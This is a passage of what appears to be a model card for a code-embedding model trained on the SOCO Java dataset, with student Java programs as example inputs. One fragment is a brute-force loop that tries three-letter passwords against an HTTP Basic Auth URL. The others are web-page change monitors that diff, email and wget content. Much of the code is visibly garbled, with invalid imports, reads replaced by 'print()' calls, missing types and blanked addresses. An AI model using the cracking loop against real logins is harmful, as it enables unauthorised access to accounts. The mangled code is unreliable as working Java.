                            i3++)
                        {
                            if (isStop())
                            {
                                return;
                            }
                            try
                            {
                                char [] arr = new char [] {letters[i], letters[i2], letters[i3]};
                                String pwd = new String(arr);
                                
                                if (Thread.currentThread().getName().equals("Thread-1") && pwd.equals("bad"))
                                {
                                    System.out.println(Thread.currentThread().getName() +
                                           "-> Trying password: " +
                                            pwd);
                                }
                                attempts++;

                                BasicAuthHttpRequest req =
                                    new BasicAuthHttpRequest(
                                        getURL(),
                                        getUserName(),
                                        pwd);
                                System.out.println("Got the password");
                                setPassword(pwd);
                                setEnd(new Timestamp(System.currentTimeMillis()));
                                setContent(req.getContent().toString());

                                
                                this.setChanged();
                                this.notifyObservers(this.getContent());
                                return;
                            }
                            catch (MalformedURLException e)
                            {
                                e.printStackTrace();
                                return;
                            }
                            catch (IOException e)
                            {

                            }
                        }
                    }
                }

                
                setEnd(new Timestamp(System.currentTimeMillis()));
            }

        }
      - "\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = \"WebPageImages01.txt\";\n   static String strImageOutputFile02      = \"WebPageImages02.txt\";\n\n   static String strWebPageOutputFile01    = \"WebPageOutput01.txt\";\n   static String strWebPageOutputFile02    = \"WebPageOutput02.txt\";\n\n   static String strWatchDogDiffFile_01_02 = \"WatchDogDiff_01_02.txt\";\n\n   static String strFromEmailDefault = \"@.rmit.edu.\";\n   static String strToEmailDefault   = \"@.rmit.edu.\";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = \"\";\n\n      String strURL     = \"http://www.cs.rmit.edu./students/\";\n      String strPrePend = \"http://www.cs.rmit.edu.\";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println(\"ERROR:  invalid URL \" + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println(\"Exception\");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + \"\"; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println(\"Output file\");\n                  System.out.println(\"-----------\");\n                  System.out.println(\"The output file '\"   + \n                                     strWebPageOutputFile02    + \n                                     \"' has NOW BEEN created.\");                                    \n                  System.out.println();\n                  System.out.println(\"Comparison\");\n                  System.out.println(\"----------\");\n                  System.out.println(\"A text comparison  NOW  performed \" +\n                                      \"with the output\");\n                  System.out.println(\"file '\" + strWebPageOutputFile01 + \"'.\");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println(\"Mail  (ordinary text comparison)\");\n                     System.out.println(\"--------------------------------\");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println(\"Text diff mail has been sent  the '' email address.\");\n                     }\n                     else\n                     {\n                        System.out.println(\"The DIFF file has zero length - text diff mail has NOT been sent.\");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println(\"Image text file/s\");\n                  System.out.println(\"-----------------\");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println(\"'\" + strImageOutputFile01 + \"' has been created.\");\n                     System.out.println(\"Images from '\" + strImageOutputFile01 + \"'  now  downloaded using\");  \n                     System.out.println(\"the Unix 'wget' command:\");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println(\"'\" + strImageOutputFile02 + \"' has been created.\");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println(\"Output file\");\n                  System.out.println(\"-----------\");\n                  System.out.println(\"The output file '\"   + \n                                     strWebPageOutputFile01    + \n                                     \"' has NOW BEEN created.\");                                    \n                  System.out.println();\n                  System.out.println(\"Comparison\");\n                  System.out.println(\"----------\");\n                  System.out.println(\"A comparison CANNOT  performed \" +\n                                      \"with this output file\");\n                  System.out.println(\"because it is the only output file \" +\n                                     \"in existence.\");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println(\"'From' email address\");\n      System.out.println(\"--------------------\");\n      System.out.println(\"Please enter a 'From' email address,  press Enter for default\");\n      System.out.print(\"(default: \" + strFromEmailDefault + \"):  \");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(\" email address was entered.\");         \n         System.out.println(\"The 'From' email address  default :  \" + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println(\"The entered 'From' email address is:  \" + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println(\"'' email address\");\n      System.out.println(\"------------------\");\n      System.out.println(\"Please enter a '' email address,  press Enter for default\");\n      System.out.print(\"(default: \" + strToEmailDefault + \"):  \");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(\" email address was entered.\");         \n         System.out.println(\"The '' email address  default :  \" + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println(\"The entered '' email address is:  \" + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println(\"File write problem for '\" + \n                            strWriteToThisFileName     +\n                            \"'.\");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec(\"./diff_files.sh\");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println(\"Shell script exception\");\n         System.out.println(\"----------------------\");\n         System.err.println(e);\n         System.out.println(\"\");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = \"\";\n      String strImageArray[];\n      String strInputFromFile = \"\";\n      String strSearchString = \"<img src\";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == ' ')  ||\n                    (strInputFromFile.charAt(intStartSearch) == '=')  ||\n                    (strInputFromFile.charAt(intStartSearch) == '\\\"')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != '\\\"'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith(\"/\"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = \"\";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println(\"    \" + str);\n            System.out.println(\"             file name:  \" + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec(\"wget \" + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println(\"downloadingImages:  \" + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != '/') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println(\"File write problem for '\" + \n                            strWriteToThisFileName     +\n                            \"'.\");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(\": \" + strToEmail); \n\n            \n            \n         msg.println(\"From: \" + strFromEmail); \n         msg.println(\"Subject: Change in website content\\n\"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}"
datasets:
  - buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers

SentenceTransformer based on microsoft/unixcoder-base-unimodal

This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-1")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, 